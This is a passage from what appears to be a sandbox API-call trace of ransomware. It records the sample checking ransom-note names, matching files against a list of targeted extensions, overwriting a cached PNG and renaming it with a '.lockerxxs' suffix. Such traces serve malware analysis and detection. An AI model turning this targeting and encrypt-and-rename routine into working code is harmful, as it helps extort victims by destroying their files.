out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52e28590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1b6, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BB5vO0g[1].png", cAlternateFileName="BB5VO0~1.PNG")) returned 1 [0084.045] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.045] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BB5vO0g[1].png") returned 1 [0084.045] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BB5vO0g[1].png") returned 1 [0084.045] lstrcmpiA (lpString1="", lpString2="BB5vO0g[1].png") returned -1 [0084.045] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png") returned="BB56XTo[1].png" [0084.045] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.045] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.045] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.045] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.045] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BB5vO0g[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" [0084.045] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.ems") returned 0 [0084.045] lstrlenA (lpString="*.ems") returned 5 [0084.045] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.db") returned 0 [0084.046] lstrlenA (lpString="*.db") returned 4 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.dbf") returned 0 [0084.046] lstrlenA (lpString="*.dbf") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.myox") returned 0 [0084.046] lstrlenA (lpString="*.myox") returned 6 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.myo") returned 0 [0084.046] lstrlenA (lpString="*.myo") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qbw") returned 0 [0084.046] lstrlenA (lpString="*.qbw") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qbb") returned 0 [0084.046] lstrlenA (lpString="*.qbb") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qbm") returned 0 [0084.046] lstrlenA (lpString="*.qbm") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qbo") returned 0 [0084.046] lstrlenA (lpString="*.qbo") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qbx") returned 0 [0084.046] lstrlenA (lpString="*.qbx") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qba") returned 0 [0084.046] lstrlenA (lpString="*.qba") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qby") returned 0 [0084.046] lstrlenA (lpString="*.qby") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qbj") returned 0 [0084.046] lstrlenA (lpString="*.qbj") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.ofx") returned 0 [0084.046] lstrlenA (lpString="*.ofx") returned 5 [0084.046] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.qif") returned 0 [0084.046] lstrlenA (lpString="*.qif") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.mye") returned 0 [0084.047] lstrlenA (lpString="*.mye") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.mbox") returned 0 [0084.047] lstrlenA (lpString="*.mbox") returned 6 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.eml") returned 0 [0084.047] lstrlenA (lpString="*.eml") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.pst") returned 0 [0084.047] lstrlenA (lpString="*.pst") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.ost") returned 0 [0084.047] lstrlenA (lpString="*.ost") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.idx") returned 0 [0084.047] lstrlenA (lpString="*.idx") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.dbx") returned 0 [0084.047] lstrlenA (lpString="*.dbx") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.sql") returned 0 [0084.047] lstrlenA (lpString="*.sql") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.mdb") returned 0 [0084.047] lstrlenA (lpString="*.mdb") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.fdb") returned 0 [0084.047] lstrlenA (lpString="*.fdb") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.wab") returned 0 [0084.047] lstrlenA (lpString="*.wab") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.dat") returned 0 [0084.047] lstrlenA (lpString="*.dat") returned 5 [0084.047] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.txt") returned 0 [0084.047] lstrlenA (lpString="*.txt") returned 5 [0084.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.jpeg") returned 0 [0084.048] lstrlenA (lpString="*.jpeg") returned 6 [0084.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.jpg") returned 0 [0084.048] lstrlenA (lpString="*.jpg") returned 5 [0084.048] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", pszSpec="*.png") returned 1 [0084.048] lstrlenA (lpString="*.png") returned 5 [0084.048] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" [0084.048] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" [0084.048] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png." [0084.048] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.lockerxxs" [0084.048] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.049] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1b6 [0084.049] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52e28590, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52e28590, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52e28590, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.049] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.049] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x190, lpOverlapped=0x0) returned 1 [0084.051] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png") returned="BB5vO0g[1].png" [0084.051] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.052] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x190, lpOverlapped=0x0) returned 1 [0084.052] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.052] CloseHandle (hObject=0xa4) returned 1 [0084.052] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png.lockerxxs")) returned 1 [0084.053] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x456d9c70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BB8AdqN[1].png", cAlternateFileName="BB8ADQ~1.PNG")) returned 1 [0084.053] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.053] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BB8AdqN[1].png") returned 1 [0084.053] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BB8AdqN[1].png") returned 1 [0084.053] lstrcmpiA (lpString1="", lpString2="BB8AdqN[1].png") returned -1 [0084.053] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png") returned="BB5vO0g[1].png" [0084.054] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.054] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.054] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.054] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.054] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BB8AdqN[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.ems") returned 0 [0084.054] lstrlenA (lpString="*.ems") returned 5 [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.db") returned 0 [0084.054] lstrlenA (lpString="*.db") returned 4 [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.dbf") returned 0 [0084.054] lstrlenA (lpString="*.dbf") returned 5 [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.myox") returned 0 [0084.054] lstrlenA (lpString="*.myox") returned 6 [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.myo") returned 0 [0084.054] lstrlenA (lpString="*.myo") returned 5 [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qbw") returned 0 [0084.054] lstrlenA (lpString="*.qbw") returned 5 [0084.054] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qbb") returned 0 [0084.054] lstrlenA (lpString="*.qbb") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qbm") returned 0 [0084.055] lstrlenA (lpString="*.qbm") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qbo") returned 0 [0084.055] lstrlenA (lpString="*.qbo") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qbx") returned 0 [0084.055] lstrlenA (lpString="*.qbx") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qba") returned 0 [0084.055] lstrlenA (lpString="*.qba") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qby") returned 0 [0084.055] lstrlenA (lpString="*.qby") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qbj") returned 0 [0084.055] lstrlenA (lpString="*.qbj") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.ofx") returned 0 [0084.055] lstrlenA (lpString="*.ofx") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.qif") returned 0 [0084.055] lstrlenA (lpString="*.qif") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.mye") returned 0 [0084.055] lstrlenA (lpString="*.mye") returned 5 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.mbox") returned 0 [0084.055] lstrlenA (lpString="*.mbox") returned 6 [0084.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png", pszSpec="*.eml") returned 0 [0084.055] 